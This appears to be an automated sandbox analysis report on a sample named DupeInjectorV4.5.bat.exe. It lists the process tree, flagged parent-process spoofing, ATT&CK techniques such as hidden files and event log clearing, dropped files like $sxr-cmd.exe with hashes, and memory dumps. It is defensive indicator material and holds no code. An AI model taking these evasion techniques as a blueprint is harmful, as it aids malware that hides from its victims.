C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3872

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4024

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:4588

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2040

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Modifies data under HKEY_USERS
PID:2804

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:3152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:832

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:2468

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1856

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:1212

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:232

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:5524
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 356 -p 5628 -ip 5628
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:5460
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 2660 -ip 2660
  2⤵
  - Suspicious use of NtCreateProcessExOtherParentProcess
  - System Location Discovery: System Language Discovery
  PID:5756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Window

T1564.003

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WER4ADF.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER4ADF.tmp.csv
Size 40KB
SHA256 05ec14aef8fa643e076c41458c513ad82fe40ed7d617cbfbb1b5114b941b61db
MD5 ed50d438c4d3a2ee589e3bc73af0d83a
SHA1 3d69a2d65fbb1b887fd3d46a7b5c3047d8ea22ce
SHA512 f22620ba28acbdfdfe8590fb10ec22c5b64b76f29f0e9c7c46df38e6f7a0f3f586874072da0eb18d966b18ac4f8e3852e69d5c5277b52c1d9592ef1afd1ff03c
SSDEEP 768:8kHEn3xoCyFOHP7tGeIPiH2R5ScKNDrxSmJ:8kHE3OJFOv7zIqH2azxrUmJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER4AE0.tmp.csv

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER4AE0.tmp.csv
Size 40KB
SHA256 7297d964b9fe643f941c3df1d3d14fac6d44b926de9d2f3ac55c1fa65cb24036
MD5 1de6927fa2840b48df33414ba9b36697
SHA1 472950e9470bf1561a8ba9b445bb5da02a8e3173
SHA512 798226dd0b9bb6cee7c5ce6740bbfb729281776003d6bad368808b086242b1955bad9b9fef592baee10cd95f5779cd99162414d39d767d37667c7e56178cbe9d
SSDEEP 768:ahHEn3xpCyFOHP7tGeIPiH2c5ScKNDrxSm3Lj:ahHE3PJFOv7zIqH2lzxrUm3Lj
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER4B00.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B00.tmp.txt
Size 13KB
SHA256 42bd69d5364328b33bff6e311938836615857eefc385d97253b2e90ec765f3a8
MD5 3271c92f034d436d0bbc227eae91fded
SHA1 551fd95ca66cdc39e077abc85415eed0b56bccce
SHA512 642ef9142eafa8a3bba1c01d6b7efd3169ab74fd88b31aecb9fb8a828c27ddf9e05e392438001ac8cf257dc3613fa4ffd7885da7ff9a958f22d347d069f7602a
SSDEEP 96:4iefVREjt74YqYgWWtZHiVYEZkUtHiNFN6O/wZlhavMRsM4/kNUIeZ3:Neft9GU8bavMRsM4/MDeZ3
MD5 SHA1 SHA512 SSDEEP

Submit Download

WER4B01.tmp.txt

Path C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B01.tmp.txt
Size 13KB
SHA256 ede95564da32a56c877de52fd58d893a43587ddcbee64924cdb30e3ee82f1b87
MD5 bb7b412348ff59843da5f311c212ac95
SHA1 42be73d3d1d144a60bb11032b8a6d0a69f54caec
SHA512 d448efd7462a0c0f8c98b3f3ca2885032f046815e67f578166f5500927c45e8f72e22812294d5aed264cb7ed60aea060fb0b1b6aa017459f11fe996a0e056803
SSDEEP 96:4iefURrvt7cYkYggWlHiVYEZEsYtHiMFN6O/wylAavMJFM4/kNUIHZ3:Nefzz20sw6avMJFM4/MDHZ3
MD5 SHA1 SHA512 SSDEEP

Submit Download

DupeInjectorV4.5.bat.exe

Path C:\Users\Admin\AppData\Local\Temp\DupeInjectorV4.5.bat.exe
Size 442KB
SHA256 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
MD5 04029e121a0cfa5991749937dd22a1d9
SHA1 f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA512 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
SSDEEP 6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_pdghggn3.bzt.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdghggn3.bzt.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

$sxr-cmd.exe

Path C:\Windows\$sxr-cmd.exe
Size 283KB
SHA256 b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
MD5 8a2122e8162dbef04694b9c3e0b6cdee
SHA1 f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA512 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
SSDEEP 6144:k4WA1B9BxDfQWKORSqY4zOcmpdlc3gJdmtolSm:H1BhkWvSqY4zvmjOwJIT
MD5 SHA1 SHA512 SSDEEP

Submit Download

$sxr-mshta.exe

Path C:\Windows\$sxr-mshta.exe
Size 14KB
SHA256 dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
MD5 0b4340ed812dc82ce636c00fa5c9bef2
SHA1 51c97ebe601ef079b16bcd87af827b0be5283d96
SHA512 d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
SSDEEP 192:Mp2bLg8CB95kCfjmRXKbpkSprJ6AdgxYsPvWw5aIR:MpMLgdrkCjm9KZJAXWw5
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/316-110-0x000001FF26110000-0x000001FF26137000-memory.dmp

Download

memory/316-113-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

Download

memory/392-118-0x0000017B0F5B0000-0x0000017B0F5D7000-memory.dmp

Download

memory/392-119-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

Download

memory/616-104-0x00000252E2260000-0x00000252E2282000-memory.dmp

Download

memory/616-111-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

Download

memory/616-106-0x00000252E2640000-0x00000252E2667000-memory.dmp

Download

memory/672-115-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

Download

memory/672-107-0x0000023AE4750000-0x0000023AE4777000-memory.dmp

Download

memory/924-126-0x0000025DE73C0000-0x0000025DE73E7000-memory.dmp

Download

memory/924-127-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

Download

memory/1104-129-0x000002603B370000-0x000002603B397000-memory.dmp

Download

memory/1104-130-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

Download

memory/1112-132-0x0000024903C70000-0x0000024903C97000-memory.dmp

Download

memory/1112-133-0x00007FFDC7A10000-0x00007FFDC7A20000-memory.dmp

Download

memory/1128-135-0x000001F30A740000-0x000001F30A767000-memory.dmp

Download

memory/1412-83-0x000001FA244A0000-0x000001FA244F0000-memory.dmp

Download

memory/1412-86-0x000001FA244F0000-0x000001FA2452C000-memory.dmp

Download

memory/1412-61-0x000001FA2C520000-0x000001FA2CCEA000-memory.dmp

Download

memory/1412-63-0x000001FA2D130000-0x000001FA2D1E2000-memory.dmp

Download

memory/1412-62-0x000001FA2CCF0000-0x000001FA2D12E000-memory.dmp

Download

memory/1412-64-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

Download

memory/1412-87-0x000001FA24450000-0x000001FA2449E000-memory.dmp

Download

memory/1412-89-0x00007FFE05A40000-0x00007FFE05AFE000-memory.dmp

Download

memory/1412-85-0x000001FA24840000-0x000001FA24A02000-memory.dmp

Download

memory/1412-84-0x000001FA245B0000-0x000001FA24662000-memory.dmp

Download

memory/1412-58-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

Download

memory/1412-60-0x000001FA23AD0000-0x000001FA24054000-memory.dmp

Download

memory/1412-88-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

Download

memory/1412-59-0x00007FFE05A40000-0x00007FFE05AFE000-memory.dmp

Download

memory/1412-90-0x000001FA24530000-0x000001FA24566000-memory.dmp

Download

memory/1476-91-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/1476-94-0x00007FFE05A40000-0x00007FFE05AFE000-memory.dmp

Download

memory/1476-92-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/1476-93-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

Download

memory/1476-102-0x0000000140000000-0x0000000140028000-memory.dmp

Download

memory/1528-35-0x0000000000400000-0x0000000000406000-memory.dmp

Download

memory/1528-33-0x0000000000400000-0x0000000000406000-memory.dmp

Download

memory/2268-27-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

Download

memory/2268-370-0x00007FFDE9700000-0x00007FFDEA1C1000-memory.dmp

Download

memory/2268-26-0x000001EBAA930000-0x000001EBAA952000-memory.dmp

Download

memory/2268-25-0x000001EBC6B40000-0x000001EBC6B98000-memory.dmp

Download

memory/2268-24-0x000001EBC6AE0000-0x000001EBC6B36000-memory.dmp

Download

memory/2268-23-0x000001EBC6A30000-0x000001EBC6AD4000-memory.dmp

Download

memory/2268-22-0x00007FFDE9700000-0x00007FFDEA1C1000-memory.dmp

Download

memory/2268-20-0x000001EBC5FE0000-0x000001EBC6A2E000-memory.dmp

Download

memory/2268-19-0x00007FFE05A40000-0x00007FFE05AFE000-memory.dmp

Download

memory/2268-18-0x00007FFE07990000-0x00007FFE07B85000-memory.dmp

Download

memory/2268-17-0x000001EBAA900000-0x000001EBAA924000-memory.dmp

Download

memory/2268-1589-0x00007FFDE9700000-0x00007FFDEA1C1000-memory.dmp

Download

memory/2268-4-0x00007FFDE9703000-0x00007FFDE9705000-memory.dmp

Download

memory/2268-5-0x000001EBC55C0000-0x000001EBC55E2000-memory.dmp

Download

memory/2268-15-0x00007FFDE9700000-0x00007FFDEA1C1000-memory.dmp

Download

memory/2268-16-0x00007FFDE9700000-0x00007FFDEA1C1000-memory.dmp

Download

memory/2268-29-0x000001EBC2B60000-0x000001EBC2B6A000-memory.dmp

Download

memory/2268-71-0x00007FFDE9703000-0x00007FFDE9705000-memory.dmp

Download

memory/2268-70-0x00007FFDE9700000-0x00007FFDEA1C1000-memory.dmp

Download

memory/2972-32-0x0000000140000000-0x0000000140004000-memory.dmp

Download

memory/2972-30-0x0000000140000000-0x0000000140004000-memory.dmp

Download

memory/4196-95-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/4196-96-0x0000000000400000-0x0000000000420000-memory.dmp

Download

memory/4196-100-0x0000000001830000-0x000000000184A000-memory.dmp

Download

memory/4196-99-0x0000000000400000-0x0000000000420000-memory.dmp

Download